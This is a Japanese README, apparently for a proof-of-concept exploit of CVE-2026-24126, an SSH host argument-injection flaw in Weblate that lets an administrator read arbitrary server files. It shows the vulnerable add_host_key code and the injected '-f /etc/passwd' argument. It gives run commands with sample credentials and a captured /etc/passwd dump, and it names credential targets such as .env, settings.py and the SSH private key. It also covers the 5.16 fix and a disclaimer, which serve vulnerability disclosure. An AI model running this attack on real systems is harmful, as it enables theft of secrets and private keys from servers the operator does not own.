
CVE-2026-24126の概念実証エクスプロイト。WeblateにおけるSSHホスト引数インジェクションによる任意ファイル読み取りで、認証済み管理者がサーバーファイルを読み取ることができます。
発見者: Alejandro Baño · 2026年1月 承認: Weblate 5.16 リリースノート
Weblate の SSH ホスト鍵管理エンドポイントは、認証済み管理者から提供された host パラメータを、サニタイズや引数検証を一切行わずに ssh-keyscan に直接渡します。ssh-keyscan は -f <file> フラグを受け付け、ファイルから対象ホスト名を読み取るため、管理者資格情報を持つ攻撃者はそのフラグを host 値として注入し、サーバーに任意のローカルファイルを開かせることができます。結果として得られるエラー出力(または標準出力)は、エラーメッセージブロック内でそのままブラウザに反映され、ファイルの内容が漏洩します。
| 項目 | 値 |
|---|---|
| 対象 | Weblate(セルフホストインスタンス) |
| コンポーネント | SSH 鍵管理 — weblate/ssh/views.py · add_host_key() |
| 必要な認証 | あり — Weblate 管理者アカウント |
| 影響を受けるバージョン | 5.15.2 以前のすべてのバージョン(5.0.2 および 5.15.2 で検証済み) |
| 影響 | Web サーバープロセスユーザー(weblate、www-data など)としての任意ローカルファイル読み取り |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
host の値は POST ボディのフィールド host から直接取得され、許可リストも、先頭のダッシュの除去も、ユーザー提供値の前の -- 引数ターミネータもありません。これにより、攻撃者は任意の ssh-keyscan フラグを注入できます。
ssh-keyscan -f /etc/passwd は /etc/passwd をホスト名のリストとして読み取り、各行の解決に失敗し、そのすべてについてエラー出力を生成します。そのエラー出力は CalledProcessError ハンドラを通じて伝播し、HTTP レスポンス内の alert-danger ブロック内に表示されます。
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| フラグ | 説明 |
|---|---|
-r / --rhost | Weblate インスタンスのベース URL |
-u / --username | 管理者ユーザー名 |
-p / --password | 管理者パスワード |
-f / --file | サーバー上で読み取るファイルのパス |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
Weblate を実行している OS ユーザー(通常は weblate ユーザー)が読み取り可能な任意のファイルを、単一の認証済み POST リクエストを通じて窃取できます。機密性の高い標的には以下が含まれます:
settings.py、.env、local_settings.py/var/lib/weblate/.ssh/id_rsaWeblate 5.16.0 以降に更新してください。 これは Weblate チームが 2026年2月18日にリリースした公式修正であり、SSH ホストフィールドに対する適切な入力検証が導入されています。
このリポジトリは 教育および許可されたセキュリティ研究のみ を目的としています。所有していないシステム、またはテストに対する明示的な書面による許可を持たないシステムに対してこのツールを使用しないでください。作者は誤用に対して一切の責任を負いません。